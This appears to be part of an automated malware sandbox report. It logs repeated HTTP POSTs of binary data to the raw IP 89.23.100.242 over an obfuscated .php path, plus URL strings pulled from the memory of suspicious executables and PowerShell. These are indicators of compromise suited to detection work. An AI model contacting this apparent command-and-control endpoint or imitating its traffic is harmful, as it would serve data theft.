Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2024Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2012Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2036Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 2544Expect: 100-continueConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.100.242

Source: unknown

HTTP traffic detected: POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 89.23.100.242Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.00000000034A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.100.242
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://89.23.100.242/5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi
Source: powershell.exe, 0000001A.00000002.2818911280.0000020171E4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000016.00000002.2966338477.00000258775C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000016.00000002.2966338477.00000258775C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 00000015.00000002.2768943723.000001C0AB4F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2748189605.000002586F235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2708101796.0000014FB13A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2554456806.0000020110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000015.00000002.2057907934.000001C09B6A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: serverBrokerperfMonitor.exe, 00000005.00000002.1900253467.000000000374E000.00000004.00000800.00020000.00000000.sdmp, serverBrokerperfMonitor.exe, 00000005.00000002.1900253467.0000000003A3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2057907934.000001C09B481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F1C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87251000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000015.00000002.2057907934.000001C09B6A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1558000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000001A.00000002.2801807600.0000020171A60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 0000001A.00000002.2818911280.0000020171DE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t.com/pk
Source: powershell.exe, 00000015.00000002.2057907934.000001C09B481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2061740190.000002585F1C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2053081962.0000014FA1331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2021592842.0000020100001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2040152046.000001FE87251000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000001C.00000002.2040152046.000001FE87479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001C.00000002.2903142161.000001FE9F3F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microP
Source: powershell.exe, 0000001C.00000002.2903142161.000001FE9F3F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microPackageManagementp
Source: powershell.exe, 00000015.00000002.2768943723.000001C0AB4F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2748189605.000002586F235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2708101796.0000014FB13A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2554456806.0000020110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2710524379.000001FE972C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: uAsLgsGzSk.exe, 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000004E43000.00000004.00000800.00020000.00000000.sdmp, uAsLgsGzSk.exe, 0000002A.00000002.3042679176.0000000003FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
